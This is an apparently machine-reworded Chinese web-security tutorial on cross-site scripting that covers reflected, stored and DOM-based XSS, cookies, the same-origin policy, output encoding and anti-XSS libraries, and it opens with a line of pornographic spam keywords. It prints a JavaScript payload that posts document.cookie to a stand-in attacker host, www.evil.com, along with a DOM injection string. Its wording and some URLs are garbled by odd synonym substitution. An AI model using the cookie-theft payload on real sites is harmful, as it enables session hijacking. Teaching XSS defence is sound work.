国产精品香蕉在线观看网,亚洲欧美精品综合在线观看,亚洲不卡av一区二区无码不卡,亚洲日本精品国产第一区二区

移動(dòng)安全 安全管理 應(yīng)用案例 網(wǎng)絡(luò)威脅 系統(tǒng)安全應(yīng)用安全 數(shù)據(jù)安全 云安全
當(dāng)前位置: 主頁 > 信息安全 > 應(yīng)用安全 >

體味若何避免跨站點(diǎn)腳本報(bào)復(fù)打擊

時(shí)間:2013-11-04 12:13來源:TuZhiJiaMi企業(yè)信息安全專家 點(diǎn)擊:
1. 簡介 跨站點(diǎn)腳本(XSS)是當(dāng)前web利用中最危險(xiǎn)和最遍及的縫隙之一。安然研究人員在大年夜部門最受歡迎的網(wǎng)站,包含Google, Facebook, Amazon, PayPal等網(wǎng)站都發(fā)現(xiàn)這個(gè)縫隙。假定你緊密密切存眷bug賞
TagsXSS(21)應(yīng)用安全(1006)站點(diǎn)腳本(3)  

  1. 簡介

  跨站點(diǎn)腳本(XSS)是當(dāng)前web利用中最危險(xiǎn)和最遍及的縫隙之一。安然研究人員在大年夜部門最受歡迎的網(wǎng)站,包含Google, Facebook, Amazon, PayPal等網(wǎng)站都發(fā)現(xiàn)這個(gè)縫隙。假定你緊密密切存眷bug賞金打算,會(huì)發(fā)現(xiàn)報(bào)導(dǎo)最多的標(biāo)題問題屬于XSS。為了不跨站腳本,瀏覽器也有本身的過濾器,但安然研究人員老是可以或許設(shè)法繞過這些過濾器。

  這類縫隙(XSS)凡是常利用于策動(dòng)cookie盜取、歹意軟件傳播(蠕蟲報(bào)復(fù)打擊),會(huì)話劫持,歹意重定向。在這類報(bào)復(fù)打擊中,報(bào)復(fù)打擊者將歹意JavaScript代碼注進(jìn)到網(wǎng)站頁面中,如許”受害”者的瀏覽器就會(huì)履行報(bào)復(fù)打擊者編寫的歹意腳本。這類縫隙等閑找到,但很難修補(bǔ)。這就是為甚么你可以在任何網(wǎng)站發(fā)現(xiàn)它的身影。

  在這篇文章中,我們將看到跨站腳本報(bào)復(fù)打擊是甚么和若何成立一個(gè)過濾器來禁止它。我們還將看到幾個(gè)開源庫,將幫忙你修補(bǔ)在web利用法度中的跨站腳本縫隙。

  2. 跨站點(diǎn)腳本是甚么?

  跨站點(diǎn)腳本報(bào)復(fù)打擊是一種Web利用法度的報(bào)復(fù)打擊,報(bào)復(fù)打擊者測驗(yàn)測驗(yàn)注進(jìn)歹意腳本代碼到受信賴的網(wǎng)站上履行歹意把持。 在跨站點(diǎn)腳本報(bào)復(fù)打擊中,歹意代碼在受影響用戶的瀏覽器端履行,并對(duì)用戶的影響。也被稱為XSS報(bào)復(fù)打擊。你可能有一個(gè)疑問就是為甚么我們叫它”XSS”,而不是”CSS”。

  對(duì)廣大年夜的web法度猿來講。在網(wǎng)頁設(shè)計(jì)中,我們已把級(jí)聯(lián)樣式表叫做CSS。是以為了不混合,我們把cross-site scripting稱為XSS。

  此刻,讓我們回到XSS報(bào)復(fù)打擊。這個(gè)縫隙產(chǎn)生在網(wǎng)站利用法度領(lǐng)受用戶的輸進(jìn)數(shù)據(jù)卻沒有做需要的編碼。假定對(duì)用戶輸進(jìn)的數(shù)據(jù)沒有進(jìn)行準(zhǔn)確的編碼和過濾,這個(gè)被注進(jìn)歹意腳本將被發(fā)送給其他用戶。 對(duì)瀏覽器來講,它沒有編制知道它不該該相信一個(gè)腳本的合法性。瀏覽器會(huì)正常地把這個(gè)腳本當(dāng)作通俗腳本履行,這個(gè)時(shí)辰歹意的把持就不成避免的產(chǎn)生了。大年夜部門的時(shí)辰,XSS是用來盜取cookie,或盜取有功效戶的會(huì)話令牌session,以此進(jìn)行會(huì)話劫持。

  3. XSS的演示

  Example 1:

  幾近所有的網(wǎng)站上看到一個(gè)搜刮框。有了這個(gè)搜刮框,你可以搜刮并找到在網(wǎng)站上存放的資料。這類搜刮情勢看起來像如許

  在search.php頁面中,代碼顯示了搜刮的成果,并且列出了用戶輸進(jìn)的搜刮關(guān)頭字。情勢以下:

  “Search results for Keyword”或”You Searched for Keyword”

  search.php可以這么寫來摹擬功能:

  You Searched for:

  不管你輸進(jìn)任何干頭字,它將隨搜刮成果一路被顯示在網(wǎng)頁上。此刻想想會(huì)產(chǎn)生甚么,假定一個(gè)報(bào)復(fù)打擊者試圖從這個(gè)處所注進(jìn)以下歹意腳本。

若何避免跨站點(diǎn)腳本報(bào)復(fù)打擊

  可以看到,因?yàn)樨毞?duì)用戶輸進(jìn)的有效的”編碼”和”過濾”。導(dǎo)致了XSS報(bào)復(fù)打擊的產(chǎn)生,其實(shí)從本質(zhì)上理解,XSS就是一種HTML的注進(jìn),和傳統(tǒng)的buffer overflow是近似的思惟,即沒有對(duì)數(shù)據(jù)和代碼進(jìn)行有效的分手,在緩沖區(qū)溢出總,報(bào)復(fù)打擊者在經(jīng)由過程超長的數(shù)據(jù)包發(fā)送籠蓋了法度buffer的關(guān)頭返回ret位置,導(dǎo)致CPU節(jié)制流的劫持,弊端地把報(bào)復(fù)打擊者數(shù)據(jù)當(dāng)作代碼來履行,最后導(dǎo)致了緩沖區(qū)溢出。

  而XSS中的HTML注進(jìn)也是一種操縱代碼和數(shù)據(jù)未有效分手的報(bào)復(fù)打擊,只不外報(bào)復(fù)打擊產(chǎn)生在受害者用戶的瀏覽器上,報(bào)復(fù)打擊者將數(shù)據(jù)發(fā)送給辦事器,辦事器沒有對(duì)輸進(jìn)的數(shù)據(jù)進(jìn)行有效的”編碼”和”過濾”(即往除數(shù)據(jù)本身的代碼特點(diǎn),對(duì)HTML來講就是往除它們稱為Tag標(biāo)簽的可能),導(dǎo)致了這些數(shù)據(jù)在用戶的瀏覽器上獲得履行,最終導(dǎo)致XSS報(bào)復(fù)打擊的產(chǎn)生。

  Example 2:

  良多網(wǎng)站都有私信或留言板功能。登錄用戶可以頒發(fā)評(píng)論或給其他用戶(包含治理員)發(fā)送私信。一個(gè)最簡單的摹擬表單以下:

  當(dāng)用戶點(diǎn)擊發(fā)送時(shí),這條動(dòng)靜會(huì)被保留在數(shù)據(jù)庫中指定的數(shù)據(jù)表中,另外一個(gè)用戶當(dāng)打開這條動(dòng)靜的時(shí)辰將看到發(fā)送的內(nèi)容??墒?,假定一個(gè)歹意報(bào)復(fù)打擊者發(fā)送的內(nèi)容包含了一些javascript代碼,這些代碼用于盜取敏感的cookie信息。當(dāng)用戶打開看到這條動(dòng)靜的時(shí)辰,歹意的javascript代碼就會(huì)獲得履行,造成敏感cookie信息泄漏。報(bào)復(fù)打擊者可以操縱獲得這些cookie信息進(jìn)行session hijacking會(huì)話劫持,直接以合法用戶的身份登錄其他用戶的賬戶。

  歹意報(bào)復(fù)打擊者可以在動(dòng)靜框中加進(jìn)一下javascript代碼:

  var url = "http://www.evil.com/index.php"; //報(bào)復(fù)打擊者節(jié)制的辦事器

  var postStr = "ck=" + document.cookie;

  var ajax = null;

  if(window.XMLHttpRequest())

  {

  ajax = new XMLHttpRequest();

  }

  else if(window.ActiveXObject)

  {

  ajax = new ActiveXObject("Microsoft.XMLHttp");

  }

  else

  {

  return;

  }

  ajax.open("POST", url, true);

  ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");

  ajax.send(postStr);

  ajax.onreadystatechange = function()

  {

  if(ajax.readyState == 4 &&ajax.status == 200)

  {

  //alert("Done!");

  }

  }

  經(jīng)由過程AJAX異步要求,將被報(bào)復(fù)打擊者的敏感cookie信息發(fā)送給了報(bào)復(fù)打擊者節(jié)制的辦事器。報(bào)復(fù)打擊者隨后便可操縱這些cookie信息以”合法”用戶的身份進(jìn)行登錄把持。

  這里起首要理清晰幾個(gè)首要的標(biāo)題問題:

  1. cookie的感化

  Cookie,有時(shí)也用其復(fù)數(shù)情勢Cookies,指某些網(wǎng)站為了辯白用戶身份、進(jìn)行session跟蹤而儲(chǔ)存在用戶本地終端上的數(shù)據(jù)(凡是顛末加密)。定義于RFC2109(已燒毀),最新代替的規(guī)范是RFC2965。

  也就是說,cookie是用戶和辦事器之間的橋梁。辦事器可利用session來保留用戶的身份信息(ID,購物車等),可是需要用戶在拜候網(wǎng)頁(發(fā)送HTTP數(shù)據(jù)包)的時(shí)辰附帶上響應(yīng)的cookie,經(jīng)由過程cookie中的特定值來辨認(rèn)sessionID,才能把伶仃用戶和伶仃的session聯(lián)系起來。cookie是有狀況HTTP交互的一種首要機(jī)制。

  2. 瀏覽器的同源策略

  在進(jìn)行cookie盜取的時(shí)辰,報(bào)復(fù)打擊者盜取的cookie是甚么,是全數(shù)cookie,仍是當(dāng)前這個(gè)網(wǎng)站的cookie?要解決這個(gè)標(biāo)題問題,我們要先體味一些瀏覽器的同源策略。

  同源策略,它是由Netscape提出的一個(gè)聞名的安然策略。

  此刻所有撐持JavaScript 的瀏覽器城市利用這個(gè)策略。

  所謂同源是指,域名,和談,端口不異。

  當(dāng)一個(gè)瀏覽器的兩個(gè)tab頁中別離打開來 百度和谷歌的頁面

  當(dāng)瀏覽器的百度tab頁履行一個(gè)腳本的時(shí)辰會(huì)查抄這個(gè)腳本是屬于哪個(gè)頁面的,

  即查抄是不是同源,只有和百度同源的腳本才會(huì)被履行。

  同源策略(Same Origin Policy)是一種商定,它是瀏覽器最核心也是最根基的安然功能,假定貧乏了同源策略,則瀏覽器的正常功能可能城市遭到影響??梢哉fweb是構(gòu)建在同源策略的根本之上的,瀏覽器只是針對(duì)同源策略的一種實(shí)現(xiàn)。

  瀏覽器的同源策略限制了來自不合源的”document”或腳本,對(duì)當(dāng)前”document”的讀取或設(shè)置某些屬性。為了不讓瀏覽器的頁面行動(dòng)產(chǎn)生混亂,瀏覽器提出了”O(jiān)rigin”(源)這以概念,來自不合的Origin的對(duì)象沒法彼此干擾。

  因?yàn)橥床呗缘膯⑹?,也就?dǎo)致了我們的XSS Payload(XSS報(bào)復(fù)打擊代碼)必需在我們希看報(bào)復(fù)打擊的統(tǒng)一個(gè)域下觸發(fā)。例如報(bào)復(fù)打擊者假定想盜取在www.a.com下的cookie,那就必需在www.a.com這個(gè)域(可所以不合頁面,但要包管是統(tǒng)一個(gè)域)下的的某一個(gè)頁面放置XSS代碼,可所以存儲(chǔ)型,也能夠是反射型或DOM Baesd型的。

  4. XSS報(bào)復(fù)打擊的種類

  對(duì)XSS的分類沒有明白的尺度,但業(yè)界遍及將XSS報(bào)復(fù)打擊分為三類。反射型XSS(non-persistent XSS), 存儲(chǔ)型XSS(persistent XSS), DOM Based XSS

  4.1 非持久性跨站點(diǎn)腳本報(bào)復(fù)打擊

  非持久性XSS也稱為反射型跨站縫隙。它是最多見的類型的XSS??p隙產(chǎn)生的啟事是報(bào)復(fù)打擊者注進(jìn)的數(shù)據(jù)反應(yīng)在響應(yīng)中。假定你看了我們上面所示的例子,第一個(gè)例子是一個(gè)非持久的XSS報(bào)復(fù)打擊。一個(gè)典型的非持久性XSS包含一個(gè)帶XSS報(bào)復(fù)打擊向量的鏈接(即每次報(bào)復(fù)打擊需要用戶的點(diǎn)擊)。

  4.2 持久的跨站點(diǎn)腳本報(bào)復(fù)打擊

  持久型跨站點(diǎn)腳本也稱為存儲(chǔ)跨站點(diǎn)腳本。它一般產(chǎn)生在XSS報(bào)復(fù)打擊向量(一般指XSS報(bào)復(fù)打擊代碼)存儲(chǔ)在網(wǎng)站數(shù)據(jù)庫,當(dāng)一個(gè)頁面被用戶打開的時(shí)辰履行。每當(dāng)用戶打開瀏覽器,腳本履行。在上面的示例中,第二個(gè)例子就揭示了一個(gè)持久的XSS報(bào)復(fù)打擊。持久的XSS比擬非持久性XSS報(bào)復(fù)打擊風(fēng)險(xiǎn)性更大年夜,因?yàn)槊慨?dāng)用戶打開頁面,查看內(nèi)容時(shí)腳本將主動(dòng)履行。谷歌的orkut曾就遭遭到XSS。

  4.3 基于dom的跨站點(diǎn)腳本報(bào)復(fù)打擊

  基于DOM的XSS有時(shí)也稱為type0 XSS。當(dāng)用戶可以或許經(jīng)由過程交互點(diǎn)竄瀏覽器頁面中的DOM(Document Object Model)并顯示在瀏覽器上時(shí),就有可能產(chǎn)生這類縫隙,從結(jié)果上來講它也是反射型XSS。

  經(jīng)由過程點(diǎn)竄頁面的DOM節(jié)點(diǎn)構(gòu)成的XSS,稱之為DOM Based XSS。

  在這個(gè)場景中,代碼點(diǎn)竄了頁面的DOM節(jié)點(diǎn),經(jīng)由過程innerHTML把一段用戶數(shù)據(jù)當(dāng)作HTML寫進(jìn)到頁面中,這就造成了DOM Based XSS

  ' onclick=alert(/xss/) '

  輸進(jìn)后,頁面代碼就變成了:

  testLink

  點(diǎn)擊這個(gè)新生成的鏈接,腳本將被履行。

  實(shí)際上,這里還有別的一種操縱編制—除機(jī)關(guān)一個(gè)新事務(wù)外,還可以選擇閉合掉落標(biāo)簽,并插進(jìn)一個(gè)新的HTML標(biāo)簽:

  5. XSS縫隙產(chǎn)生的啟事

  跨站點(diǎn)腳本的首要啟事是法度猿對(duì)用戶的信賴。開辟人員輕松地覺得用戶永久不會(huì)試圖履行甚么出格的工作,所以他們成立利用法度,卻沒有益用任何額外的代碼來過濾用戶輸進(jìn)以禁止任何歹意勾當(dāng)。另外一個(gè)啟事是,這類報(bào)復(fù)打擊有良多變體,用制造出一種行之有效的XSS過濾器是一件比較堅(jiān)苦的工作。

  可是這只是相對(duì)的,對(duì)用戶輸進(jìn)數(shù)據(jù)的”編碼”和”過濾”在任甚么時(shí)辰候都是很首要的,我們必需采納一些針對(duì)性的手段對(duì)其進(jìn)行防御。

  6. 若何創(chuàng)作發(fā)現(xiàn)一個(gè)杰出的XSS過濾器來禁止大年夜大都XSS報(bào)復(fù)打擊代碼

  6.1 需要重點(diǎn)”編碼”和”過濾”的對(duì)象

  The URL

  HTTP referrer objects

  GET parameters from a form

  POST parameters from a form

  Window.location

  Document.referrer

  document.location

  document.URL

  document.URLUnencoded

  cookie data

  headers data

  database data

  防御XSS有一個(gè)原則:

  以當(dāng)前的利用系統(tǒng)為中間,所有的進(jìn)進(jìn)利用系統(tǒng)的數(shù)據(jù)都當(dāng)作是輸進(jìn)數(shù)據(jù)(包含從FORM表單或從數(shù)據(jù)庫獲得到的數(shù)據(jù)),所有從當(dāng)前利用系統(tǒng)流出的數(shù)據(jù)都看作是輸出(包含輸出到用戶瀏覽器或向數(shù)據(jù)庫寫進(jìn)數(shù)據(jù))

  對(duì)輸進(jìn)的數(shù)據(jù)進(jìn)行”過濾”,對(duì)輸出數(shù)據(jù)進(jìn)行”編碼”。這里的”編碼”也要寄望,必需針對(duì)數(shù)據(jù)具體的上下文語境進(jìn)行針對(duì)性的編碼。例如數(shù)據(jù)是輸出到HTML中的那就要進(jìn)行HtmlEncode,假定數(shù)據(jù)是輸出到j(luò)avascript代碼中進(jìn)行拼接的,那就要進(jìn)行javascriptEncode。

  假定不弄清晰數(shù)據(jù)具體輸出的語境,就有可能因?yàn)镠tmlParser()和javascriptParser()兩種解析引擎的履行前后標(biāo)題問題導(dǎo)致看似周到的”編碼”形同虛設(shè)。

  6.2 HtmlEncode HTML編碼

  它的感化是將字符轉(zhuǎn)換成HTMLEntities,對(duì)應(yīng)的尺度是ISO-8859-1

  為了匹敵XSS,在HtmlEncode中要求起碼轉(zhuǎn)換以下字符:

  &--> &

  < --><

  > --> >

  " --> "

  ' --> '

  / --> /

  在PHP中:

  htmlentities

  http://www.w3school.com.cn/php/func_string_htmlentities.asp

  htmlspecialchars

  http://www.w3school.com.cn/php/func_string_htmlspecialchars.asp

  6.3 javascriptEncode javascript”編碼”

  javascriptEncode與HtmlEncode的編碼編制不合,HtmlEncode是往編碼,而javascriptEncode更多的像轉(zhuǎn)義,它需要利用”\”對(duì)特別字符進(jìn)行轉(zhuǎn)義。從道理上來講,這都合適編碼函數(shù)的一個(gè)大年夜原則: 將數(shù)據(jù)和代碼辨別隔,因?yàn)閷?duì)HTML Tag來講,我們對(duì)其進(jìn)行”可視化(轉(zhuǎn)換成可以見字符)”的編碼可以將數(shù)據(jù)和HTML的邊界分隔。而對(duì)javascript來講,我們除要進(jìn)行編碼以外,還需要對(duì)特別字符進(jìn)行轉(zhuǎn)義,如許報(bào)復(fù)打擊輸進(jìn)的用于”閉合”的特別字符就沒法闡揚(yáng)感化,從而避免XSS報(bào)復(fù)打擊,除此以外,在匹敵XSS時(shí),還要求輸出的變量必需在引號(hào)內(nèi)部,以避免造成安然標(biāo)題問題。

  escape()

  http://www.w3school.com.cn/js/jsref_escape.asp

  該編制不會(huì)對(duì) ASCII 字母和數(shù)字進(jìn)行編碼,也不會(huì)對(duì)下面這些 ASCII 標(biāo)點(diǎn)符號(hào)進(jìn)行編碼: * @ – _ + . / 。其他所有的字符城市被轉(zhuǎn)義序列(十六進(jìn)制\xHH)替代。

  操縱這個(gè)編碼函數(shù),不但能防御XSS報(bào)復(fù)打擊,還可以防御一些command注進(jìn)。

  7. 一些開源的防御XSS報(bào)復(fù)打擊的代碼庫

  PHP AntiXSS

  這是一個(gè)不錯(cuò)的PHP庫,可以幫忙開辟人員增加一層呵護(hù),避免跨站腳本縫隙。

  https://code.谷歌.com/p/php-antixss/

  xss_clean.php filter

  https://gist.github.com/mbijon/1098477

  HTML Purifier

  http://htmlpurifier.org/

  xssprotect

  https://code.谷歌.com/p/xssprotect/

  XSS HTML Filter

  http://finn-no.github.io/xss-html-filter/

------分隔線----------------------------

推薦內(nèi)容